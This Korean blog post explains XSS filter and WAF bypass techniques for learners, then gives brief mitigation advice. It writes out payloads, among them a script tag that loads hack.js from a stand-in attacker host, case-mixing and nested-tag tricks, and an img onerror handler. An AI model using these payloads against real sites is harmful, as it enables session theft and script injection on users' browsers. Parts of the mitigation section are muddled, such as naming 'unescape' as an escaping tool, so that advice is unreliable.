본문 바로가기

보안지식/XSS

XSS 공격 기법 정리 (총 정리)

이번에 크사 공격을 또 정리를 하겠습니다.

 

저희가 해킹을 공부하면서 가장 중요한 게 응용인 거 같아요

 

왜냐하면 저희가 취약점을 찾으면 얼마나 중요한지 얼마나 공격을 당하는 지까지 알아야 되니깐요

취약점을 찾았는데 공격이 안되면 그게 중요한 취약점이라고 느끼지 않잖아요

그러니깐 저희가 한 번 나쁜 사람이 되어서 취약점을 찾고 이걸 이용하여 어떻게 공격을 하면 되는지

해보는 겁니다.

 

그리고 남들에게 공격 시나리오를 보여주는 겁니다. 그럼 얼마나 심각한지 깨닫겠죠?

그러니 취약점 찾는 것도 중요하지만 어떡해 공격하는지도 알 필요가 있습니다!

 

 

 

서론이 길었습니다. 바로 시작을 할게요.

 

XSS 총 정리 이긴 한데 저번에 정리한 내용을 이어서 설명하는 겁니다.

저희는 XSS 공격을 어떡해 하는지 알고 있습니다.

 

근데 그걸 우회 하는 방법은 생소 하실 거예요.

그걸 정리하겠습니다.

 

 

-  Anti XSS Bypass (XSS 우회 공격)

 

보통 XSS을 막는 방법이 Black List 필터링을 이용합니다. 그리고 이 필터링이 탑재된 방화벽인

WAF가 있습니다.

 

 

WAF는 웹 방화벽이에요. 방화벽이랑 달라요!

 

대부분 서버는 이 WAF을 이용하여 XSS을 막습니다. 그래서 이 WAF 내에 많은 XSS 공격 데이터가 있어서

그것들을 알아서 필터링을 막아 줍니다.

 

<script>을 못 쓰게 하고 alert(1) 쓰면 출력이 안되고.. 등 필터링을 해줍니다.

 

 

 

그러니 저희는 이 WAF을 우회해야만 되겠죠?

 

[1]  Client Side 검증 우회

-> Burp Suite(프록시 툴) 통해 우회하면 된다.

 

클라이언트 측에서 검증을 한다? 말이 안 되긴 해요.

집 문에 자물쇠를 걸고 옆에 열쇠를 같이 걸어 두는 거나 마찬가지입니다.

 

즉! 이 말은 클라이언트 측에서 실행하는 자바스크립트로 검증을 하는 겁니다.

그러니 만약 <script&lt; &gt; 이러면 프락시 툴의 인터셉트를 이용해 바꾸면 되겠죠

 

 

 

[2] Script Load

 

" , ' , alert function 애매하게 필터링을 하는 경우가 있습니다.

이것은 저희의 서버에 링크를 걸고 js파일을 실행하게 하면 됩니다.

 

예를 들어

<script src=http://hacking.com/hack.js></script> 이러면

스크립트가 실행되면 제 서버의 hack.js의 자바스크립트가 실행되겠죠?

 

이러면 단어 필터링이 우회가 되게 합니다.

 

 

[3] 대소문자 혼용

<script> -> <ScRiPt> 이렇게 우회했는데 되는 경우가 있습니다.

 

 

[4] 필터링되는 문자

<script> -> <scrscriptipt> 이렇게 가운데 script 단어가 사라지면 알아서 script가 완성되게 하는 방법도 있습니다.

 

 

[5] EventHandler

꼭 <script>을 안 써도 되죠!

<img src=x onerror="alert(1)"> 이렇게 img 태그 써도 되겠죠

또는 onactivate 또는 onload 또 svg 태그도 있고요

audio 태그에 src을 이용하면 됩니다.

 

등등

 

그래서 저희는 이런 이벤트 핸들러를 많이 알 수 록 우회가 쉬워지겠죠?

추천 사이트가 있습니다.

 

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy

Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

portswigger.net

 

여기에 각 브라우저마다 공격 가능한 XSS 태그가 다양하게 있습니다.

참고하시면 많이 도움 되실 거예요

 

참고로 매일 새로운 공격이 업데이트가 되고 있습니다.

 

 

 

 

---------------------------------------------------------------------------

 

 

이제 대응 방법도 알면 되겠죠?

 

SQLi 대응 방법은 PreparedStatement 함수만 쓰면 해결 됐죠?

 

XSS 대응 방안도 간단합니다.

 

**XSS 대응 방안

 

HTML 특수문자들을 HTML Entity로 변환하면 됩니다.

 

예를 들어

<는 &lt; 로 변하게 하는 겁니다. 클라이언트 측에서는 특수기호가 보이지만

코드상에는 &lt; 이렇게 써지게 하는 겁니다.

 

바꾸는 함수는 filter_var도 있고 라이브러리인  Lodash, unescape js을 이용하면 됩니다.

.

.

.

.

.

 

물론 만능까지는 아닙니다. 왜냐하면 <script> 안에 값이 들어간다고 하면 저희는 input 함수만 쓰면 되겠죠?

그리고 태그 안에 값이 들어가는 경우가 있습니다. 그럼 저희는 XSS 공격을 할 수 있게 되는 겁니다.

 

그러니 태그 안에 들어가는 값들을 이용하여 XSS 공격이 통할 수 있는 겁니다. 저희는 이 것을 찾는데 연연해야 하고요

.

.

.

.

이렇게 XSS 공격 정리를 마치겠습니다. 다음에는 XSS 공격 실습을 하면서 여러 공격 방법을 찾아보겠습니다!